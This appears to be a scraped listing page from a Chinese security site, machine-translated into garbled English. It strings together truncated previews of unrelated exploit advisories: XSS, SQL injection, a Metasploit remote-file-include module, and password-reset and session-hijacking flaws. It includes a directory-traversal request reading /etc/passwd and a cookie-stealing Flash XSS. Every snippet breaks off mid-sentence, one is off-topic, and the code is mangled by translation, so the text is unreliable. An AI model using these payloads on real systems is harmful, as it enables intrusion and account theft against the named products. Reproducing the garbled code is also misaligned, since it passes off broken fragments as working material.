Cloud Security

0x00 Preface With the development of network technology, network lines become more and more complex. Penetration testers reach the border server through injection, upload, and other basic or advanced script penetration methods on the web. Further in-

# Exploit Title: XpressEngine version 1.4.5.7 Persistent XSS Vulnerability # Author: v0nSch3lling # Software Link: http://www.xpressengine.com # Version: 1.4.5.7 # Tested on: Microsoft Windows XP SP2   # Case 1. Memeber Management (Delete

Title: WordPress Contus hd flv Player Plug-in Time: 2011-08-17Author: Miroslav Stampar (miroslav. stampar (at) gmail.com @ stamparm): Http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zipVersion: 1.3 (tested) ---Test Method---Http://www.

Before the hair is UCHOME: http://www.bkjia.com/Article/201108/100740.html IsWithout the suspicion of installing B,The SESSION hijacking method of the discuz Forum is also published. Reprinted. Please keep the original URL. Thank you.   The session

Brief description:SSO. jspFile logic errorDetailed description:SSO. jsp file logic error String username = request. getParameter ("u "); String time = request. getParameter ("t "); String str = request. getParameter ("s "); String key = "WIU % &

Brief description:A SQL injection vulnerability in deep-throat cms due to lax Data ProcessingDetailed description:Global $ db, $ request; $ Keyword = urldecode ($ request ['keyword']); Switch ($ modelName) { Case 'Article ': $ SQL = "select *

Title: Nucleus v3.61 Remote File Include (MSF)Author: Caddy-Dz www.2cto.com: Http://sourceforge.net/projects/nucleuscms/    Require 'msf/core' Class Metasploit3 Rank = ExcellentRanking Include Msf: Exploit: Remote: TcpInclude Msf: Exploit: Remote:

Title: TimeLive Time and Expense Tracking Defect category: Directory Traversal/Remote Database Download/File Download/Source Code Disclosure Author: Nathaniel Carew www.2cto.com Level: high :

  Brief description: Netease mail Flash attachments can be used to perform XSS attacks and obtain cookies, resulting in arbitrary Netease accounts. Detailed description: 1. Attackers compile the following as2 script into swf. Url = "javascript:

Title: [WordPress wpsf-js plugin, SQL Injection]Author: [cheki] www.2cto.comAffected Versions: [3.2.1]Test Platform: [linux]Tool: ["sqlmap"]# SQL InjectionHttp://www.bkjia.com/wp-content/plugins/wp-spamfree/JavaScript/wpsf-js.php? Id = 1 Test: id =-1

Author: Lu renjia Brief description:Shopex has some logic design problems in the retrieval of passwords. As a result, it can predict new passwords and may be used to attack and obtain others' passwords.Detailed description:Related

  Meditate Web Content Editor 'username _ input' SQL-Injection vulnerability By Stefan Schurtz www.2cto.com Affected program: Successfully tested on Meditate 1.2 Official Address: http://www.arlomedia.com/ Problem status: fixed   =============

The barrel theory is also called the short-board theory, and the short-board management theory. The so-called "Barrel Theory" is also called the "barrel law". Its core content is: the amount of water in a bucket, it does not depend on the highest

Official Website: http://www.kingcms.com//** Paging list information @ Param int listid: List id @ Return array */ Public function infoList ($ listid = null ){ Global $ king;  If (! $ Listid) $ Listid = kc_get ('listid', 2, 1); // required  If ($

1. Use the password retrieval function and enter the account you want to retrieve the password for. In this test, the official account "OPPO community" is used as an example to capture packets using the packet capture tool. The following data

#! /Usr/bin/perl # Title: Ipswitch IMail 11.01 XSS Vulnerability # Author: DaOne aka Mocking Bird # Program Official Website: http://www.ipswitch.com/ # Test Platform: windows Use Net: SMTP; # ARGV Check If ($ # ARGV! = 2) { Print "\ nUSAGE: IMail.

A street network vulnerability has been detected, which can steal cookies and worms. It has never been used and is depressing. This time I sent a Netease hole. Please pass the hole in the street network by the way ,,, Test address http://bbs.home.163

GET /? Do = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd000000.jpg & mod = info & sort_id = 6 HTTP/1.1 Referer: http://www.360shop.com.cn: 80/Cookie: 360shop_data = a % 3A2% 3A % 7Bs % 3A11% 3A % 22 autologinid % 22% 3Bs % 3A0% 3A % 22% 22%

Design product: UMI. CMS Author: OOO Umisoft Affected Versions: 2.9 and probably prior Tested version: 2.9 Fixed: The developer has completedAbstract: High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI. CMS, which can be

Black List troublesIn the reply, there is an editor function. The editor has a source code that can be edited. At that time, the first reflection was. Xss exists here. Sure enough, but test at the beginning And And cannot execute js Code.   Then,